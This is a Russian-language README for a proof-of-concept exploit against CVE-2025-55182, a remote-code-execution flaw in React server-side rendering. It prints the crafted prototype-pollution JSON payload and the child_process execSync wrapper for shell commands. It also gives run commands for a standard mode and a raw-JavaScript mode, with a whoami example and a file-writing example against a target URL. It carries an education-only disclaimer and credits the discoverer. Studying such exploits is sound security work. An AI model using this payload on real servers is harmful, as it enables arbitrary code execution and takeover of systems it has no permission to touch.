
Это POC-скрипт для CVE-2025-55182 (React SSR RCE)
Это POC предназначен только для образовательных целей и исследований в области безопасности. Данная уязвимость исправлена в последних версиях затронутых пакетов. Используйте этот инструмент только на системах, которыми вы владеете или на которые имеете явное разрешение на тестирование. Я не несу ответственности за любые юридические меры, предпринятые против вас.
Эксплойт создаёт специально сформированный JSON-объект, который злоупотребляет цепочкой прототипов JavaScript:
{
"then": "$1:__proto__:then", // Загрязняет цепочку прототипов
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Внедрённый вредоносный код
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
POC поддерживает два режима:
Стандартный режим (по умолчанию):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
Обёртывает команды оболочки для выполнения через Node.js child_process.
Сырой режим (флаг --raw):
// Выполняет произвольный JavaScript напрямую
Позволяет напрямую выполнять код JavaScript без обёртки команд оболочки.
bun run index.ts <command_file> <target_url>
Пример:
# Создайте файл с командой
echo "whoami" > cmd.txt
# Выполните против уязвимой конечной точки
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
Пример:
# Создайте полезную нагрузку на JavaScript
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Выполните сырой JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: Путь к файлу, содержащему команду или код JavaScript<target_url>: URL конечной точки функции React Server--raw: (Необязательно) Выполнение сырого JavaScript вместо команд оболочкиОбнаружено: Lachlan Davidson
Раскрыто: React Team & Meta Security